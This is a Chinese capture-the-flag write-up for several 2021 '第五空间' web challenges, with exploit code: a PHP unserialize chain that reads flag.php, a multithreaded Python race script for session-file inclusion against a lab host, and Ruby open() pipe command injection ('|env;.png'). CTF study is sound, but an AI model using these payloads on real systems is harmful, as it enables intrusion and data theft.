[第五空间 2021]web 复现wp

目录

 [第五空间 2021]pklovecloud

官方解:

总结:

[第五空间 2021]EasyCleanup

考点:

思路:

总结:

[第五空间 2021]yet_another_mysql_injection

[第五空间 2021]PNG图片转换器

解题:

总结:


 [第五空间 2021]pklovecloud

 cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

exp 很好构造  就是要绕过两个点:

  $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)

关键代码在这里, 如果 这里的docker为空的时候, this -> OpenStack 自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。.

测试代码:

sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

可以看见以上代码。 $b对象的属性都为空。

构造exp:

cinder=$c;
$c->docker='';
$c->filename='flag.php';
echo urlencode(serialize($b));



?>

没跑出来,但是对照了wp 也没问题。

官方解:

cinder = new ace();
    }
    function __toString() 
    { 
        if (isset($this->cinder)) 
            return $this->cinder->echo_name(); 
    }
}
class ace
{ 
    public $filename; 
    public $openstack;
    public $docker;
    function __construct()
    { 
        $this->filename = "flag.php";
        $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    }
    function echo_name() 
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova) {
            $file = "./{$this->filename}";
            if (file_get_contents($file)) 
            { 
                return file_get_contents($file);
            } 
            else
            {
                return "keystone lost~";
            } 
        }
    }
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

总结:

可惜没打出来

[第五空间 2021]EasyCleanup

考点:

临时文件包含

  15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?> 

看到代码,这道题有eval  和include 可以利用,看看eval 的利用条件,长度不能大于15, 过滤了关键字,和a-z A-Z 0-9 这基本上很难rce 了,异或 ^ 被过滤了,取反字符肯定大于15. eval基本是用不了了。

再来看看include 。 如果上传文件包含的话,不会受到字符长度的限制,也不会被过滤。

那么利用点应该就是这里了。

知道了利用点,先看看phpinfo(); 

[第五空间 2021]web 复现wp_第1张图片

逐一来解释一下以上 配置:

  • session.save_handler:表示session以文件的形式存储。
  • session.save_path:session默认存储路径在 /tmp 下。
  • session.serialize_handler:反序列化和序列化的处理器是php
  • session.upload_progress.cleanup: 功能为 on 时,即向服务器上传文件后,php会马上清楚对应session文件中的内容。on 也就意味着 需要条件竞争。
  • session.upload_progress.enabled:表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
  • 第六七行中的freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
  • 第八九行中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
  • 第十行表示使用cookie记录sessionid。
  • 第十一行表示是否在客户端仅仅使用 cookie 来存放会话 ID。
  • 第十二行中的值为off,表示Cookie中的sessionid可控。

思路:

当我们自己定义cookie 中的 phpsessid 时,php为在服务器创建文件并存储在tmp/sess_id。服务器会自动化初始session,由(prefix+session.upload_progress.name)组成。由于session.use_strict_mode 为off  所以我们可以自定义sessionid 为我们的session文件名,然后控制文件内容,进行file的文件包含,因为clean up 为 on 所以需要用到条件竞争。然后访问 file =/tmp/sess_id 进行包含。

附上脚本。

import io
import requests
import threading

url="http://1.14.71.254:28073/"
sessid="acd"
myfile=io.BytesIO(b"test.txt" * 1024)
writedata={"PHP_SESSION_UPLOAD_PROGRESS" : ""}
mycookie={"PHPSESSID":sessid}

def write(ss):
    while True:
        resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})


def read(ss):
    while True:
        payloadurl=url+'?file='+'/tmp/sess_'+sessid
        resp=requests.get(url=payloadurl)
        if 'test.txt' in resp.text:
            print(resp.text)
            break
        else:pass


if __name__ == '__main__':
    envent=threading.Event()
    with requests.session() as ss:
        for i in range(0,30):
            threading.Thread(target=write, args=(ss, )).start()
        for i in range(0, 30):
            threading.Thread(target=read, args=(ss,)).start()

    envent.set()

总结:

看到include 可以往临时文件包含 方面思考。还要考虑到phpinfo的具体设置。

[第五空间 2021]yet_another_mysql_injection

参考链接:从三道赛题再谈命令行 - 安全客,安全资讯平台 (anquanke.com)

[第五空间 2021]PNG图片转换器

题目有个源码下载:

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return ""
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return ""
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return ""
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

解题:

简单审计下代码,对ruby不是很 熟悉,但是简单看一下还是能看懂的。

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return ""

要求后缀必须为 png,不能包含 ..  不能包含 / ,过滤完成之后会用open(file,'r').read() 然后base64打印上传的内容.,而ruby 的open()函数是借用系统命令来打开文件的,所以可以命令执行。

对于file 参数不能存在  ..  /  可以考虑在命令 注入的时候用base64编码后执行。

例如:

 这里的 bHMgLwo= 就相当于 ls  /   就可以绕过 file 过滤了  /

这里我们可以执行反弹shell ,其实也可以不用,看自己,因为这是有回显的。

[第五空间 2021]web 复现wp_第2张图片

 ls  /  看看根目录,解码一下base 64

得到:

app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

找了好久没有 找到flag 文件。 看了其他师傅的wp 才知道在环境变量env 里面

payload:

file=|env;.png

总结:

ruby 中的open 函数借用了 系统命令。会产生命令执行漏洞。以 | 分割。

你可能感兴趣的:(nssctf,php)